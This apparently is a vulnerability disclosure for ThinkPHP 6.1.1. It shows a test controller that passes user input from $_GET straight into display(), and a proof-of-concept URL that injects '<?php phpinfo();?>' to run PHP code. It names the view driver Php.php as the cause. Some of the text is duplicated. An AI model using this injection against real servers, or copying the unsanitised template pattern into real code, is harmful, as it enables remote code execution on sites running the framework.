Environment installation
test version:Thinkphp6.1.1
Environment configuration:(tp6只支持用composer安装)
composer create-project topthink/think tp
Write a User.php file in the controller directory
Modify the view.php file in the config directory to type='php'
contents contains
<?php
namespace app\controller;
use think\view\driver\Php;
class User
{
public function login()
{
$contents=$_GET['contents'];
return display($contents,array('huahua'=>'huahua'));
}
}
Environment installation test version:Thinkphp6.1.1 Environment configuration:(tp6只支持用composer安装) composer create-project topthink/think tp
Write a User.php file in the controller directory Modify the view.php file in the config directory to type='php'
contents contains
access![image](https://user-images.githubusercontent.com/63102521/221420062-3f93fc1a-cafb-4350-8ee9-93ca75bed2fa.png)
http://127.0.0.1/index.php/user/login?contents=<?php phpinfo();?>
Vulnerability cause
vendor\topthink\framework\src\think\view\driver\Php.php